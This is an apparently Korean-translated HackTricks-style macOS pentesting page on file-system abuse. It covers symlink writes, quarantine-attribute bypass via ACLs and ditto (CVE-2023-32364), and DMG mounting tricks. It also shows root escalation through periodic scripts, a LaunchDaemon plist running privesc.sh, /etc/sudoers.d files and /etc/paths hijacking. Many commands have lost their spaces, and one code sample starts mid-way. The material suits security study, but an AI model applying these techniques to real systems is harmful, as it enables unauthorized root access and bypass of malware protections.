특권 프로세스가 하위 특권 사용자에 의해 제어될 수 있는파일에 데이터를 쓰고 있거나, 하위 특권 사용자에 의해 이전에 생성된 경우, 사용자는 심볼릭 또는 하드 링크를 통해 다른 파일을 가리킬 수 있습니다, 그리고 특권 프로세스는 그 파일에 쓸 것입니다.
공격자가 임의 쓰기를 악용하여 권한을 상승시킬 수 있는 다른 섹션을 확인하십시오.
.fileloc
.fileloc 확장자를 가진 파일은 다른 애플리케이션이나 바이너리를 가리킬 수 있으므로, 열릴 때 애플리케이션/바이너리가 실행됩니다.
예시:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>URL</key><string>file:///System/Applications/Calculator.app</string><key>URLPrefix</key><integer>0</integer></dict></plist>
Arbitrary FD
만약 프로세스가 높은 권한으로 파일이나 폴더를 열 수 있다면, **crontab**을 악용하여 **EDITOR=exploit.py**로 /etc/sudoers.d의 파일을 열 수 있습니다. 그러면 exploit.py는 /etc/sudoers 내부의 파일에 대한 FD를 얻고 이를 악용할 수 있습니다.
echoasd>/tmp/asdchflagsuchg/tmp/asd# "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"xattr-wcom.apple.quarantine""/tmp/asdxattr: [Errno 1]Operationnotpermitted:'/tmp/asd'ls-lO/tmp/asd# check the "uchg" in the output
defvfs mount
A devfs mount 는 xattr를 지원하지 않습니다, 자세한 내용은 CVE-2023-32364에서 확인하세요.
rm-rf/tmp/test*echotest>/tmp/testchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"/tmp/testls-le/tmp/testditto-c-ktesttest.zip# Download the zip from the browser and decompress it, the file should be without a quarantine xattrcd/tmpechoy|rmtest# Decompress it with dittoditto-x-k--rsrctest.zip.ls-le/tmp/test# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)opentest.zipsleep1ls-le/tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble 파일 형식은 ACE를 포함하여 파일을 복사합니다.
소스 코드에서 **com.apple.acl.text**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서 ACL이 다른 xattr의 쓰기를 방지하는 애플리케이션을 AppleDouble 파일 형식으로 zip 파일로 압축하면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
# Everything will be happening heremkdir/tmp/temp_xattrscd/tmp/temp_xattrs# Create a folder and a file with the acls and xattrmkdirdelmkdirdel/test_foldechotest>del/test_fold/test_filechmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_foldchmod+a"everyone deny write,writeattr,writeextattr,writesecurity,chown"del/test_fold/test_fileditto-c-kdeltest.zip# uncomporess to get it backditto-x-k--rsrctest.zip.ls-letest
사용자는 기존 폴더 위에 생성된 사용자 정의 DMG를 마운트할 수 있습니다. 이렇게 하면 사용자 정의 콘텐츠가 포함된 사용자 정의 DMG 패키지를 생성할 수 있습니다:
# Create the volumehdiutilcreate/private/tmp/tmp.dmg-size2m-ov-volnameCustomVolName-fsAPFS1>/dev/nullmkdir/private/tmp/mnt# Mount ithdiutilattach-mountpoint/private/tmp/mnt/private/tmp/tmp.dmg1>/dev/null# Add custom content to the volumemkdir/private/tmp/mnt/custom_folderecho"hello">/private/tmp/mnt/custom_folder/custom_file# Detach ithdiutildetach/private/tmp/mnt1>/dev/null# Next time you mount it, it will have the custom content you wrote# You can also create a dmg from an app using:hdiutilcreate-srcfolderjustsome.appjustsome.dmg
보통 macOS는 /usr/libexec/diskarbitrationd에서 제공하는 com.apple.DiskArbitrarion.diskarbitrariond Mach 서비스와 통신하여 디스크를 마운트합니다. LaunchDaemons plist 파일에 -d 매개변수를 추가하고 재시작하면 /var/log/diskarbitrationd.log에 로그를 저장합니다.
그러나 hdik 및 hdiutil과 같은 도구를 사용하여 com.apple.driver.DiskImages kext와 직접 통신할 수 있습니다.
임의 쓰기
주기적인 sh 스크립트
스크립트가 셸 스크립트로 해석될 수 있다면, 매일 트리거되는 /etc/periodic/daily/999.local 셸 스크립트를 덮어쓸 수 있습니다.
다음과 같이 이 스크립트의 실행을 가짜로 만들 수 있습니다: sudo periodic daily
데몬
임의의 스크립트를 실행하는 plist와 함께 **/Library/LaunchDaemons/xyz.hacktricks.privesc.plist**와 같은 임의의 LaunchDaemon을 작성합니다:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Label</key><string>com.sample.Load</string><key>ProgramArguments</key><array><string>/Applications/Scripts/privesc.sh</string></array><key>RunAtLoad</key><true/></dict></plist>
Just generate the script /Applications/Scripts/privesc.sh with the commands you would like to run as root.
Sudoers File
If you have arbitrary write, you could create a file inside the folder /etc/sudoers.d/ granting yourself sudo privileges.
PATH files
The file /etc/paths is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from privileged process is executing some command without the full path, you might be able to hijack it modifying this file.
You can also write files in /etc/paths.d to load new folders into the PATH env variable.
Generate writable files as other users
이것은 내가 쓸 수 있는 루트 소속의 파일을 생성합니다 (code from here). 이것은 privesc로도 작동할 수 있습니다:
POSIX 공유 메모리는 POSIX 호환 운영 체제에서 프로세스가 공통 메모리 영역에 접근할 수 있도록 하여 다른 프로세스 간 통신 방법에 비해 더 빠른 통신을 가능하게 합니다. 이는 shm_open()으로 공유 메모리 객체를 생성하거나 열고, ftruncate()로 크기를 설정하며, mmap()을 사용하여 프로세스의 주소 공간에 매핑하는 과정을 포함합니다. 프로세스는 이 메모리 영역에서 직접 읽고 쓸 수 있습니다. 동시 접근을 관리하고 데이터 손상을 방지하기 위해 뮤텍스나 세마포와 같은 동기화 메커니즘이 자주 사용됩니다. 마지막으로, 프로세스는 munmap()과 close()로 공유 메모리를 언매핑하고 닫으며, 선택적으로 shm_unlink()로 메모리 객체를 제거합니다. 이 시스템은 여러 프로세스가 공유 데이터에 빠르게 접근해야 하는 환경에서 효율적이고 빠른 IPC를 위해 특히 효과적입니다.
// Write to the shared memory sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);
return 0; }
</details>
<details>
<summary>소비자 코드 예제</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS 보호된 설명자
macOS 보호된 설명자는 사용자 애플리케이션에서 파일 설명자 작업의 안전성과 신뢰성을 향상시키기 위해 macOS에 도입된 보안 기능입니다. 이러한 보호된 설명자는 파일 설명자와 특정 제한 또는 "가드"를 연결하는 방법을 제공하며, 이는 커널에 의해 시행됩니다.
이 기능은 무단 파일 접근 또는 경쟁 조건과 같은 특정 보안 취약점을 방지하는 데 특히 유용합니다. 이러한 취약점은 예를 들어, 스레드가 파일 설명서에 접근할 때 다른 취약한 스레드가 그에 대한 접근을 허용하는 경우 또는 파일 설명자가 취약한 자식 프로세스에 의해 상속되는 경우 발생합니다. 이 기능과 관련된 몇 가지 함수는 다음과 같습니다:
guarded_open_np: 가드와 함께 FD를 엽니다
guarded_close_np: 닫습니다
change_fdguard_np: 설명자의 가드 플래그를 변경합니다 (가드 보호를 제거할 수도 있음)
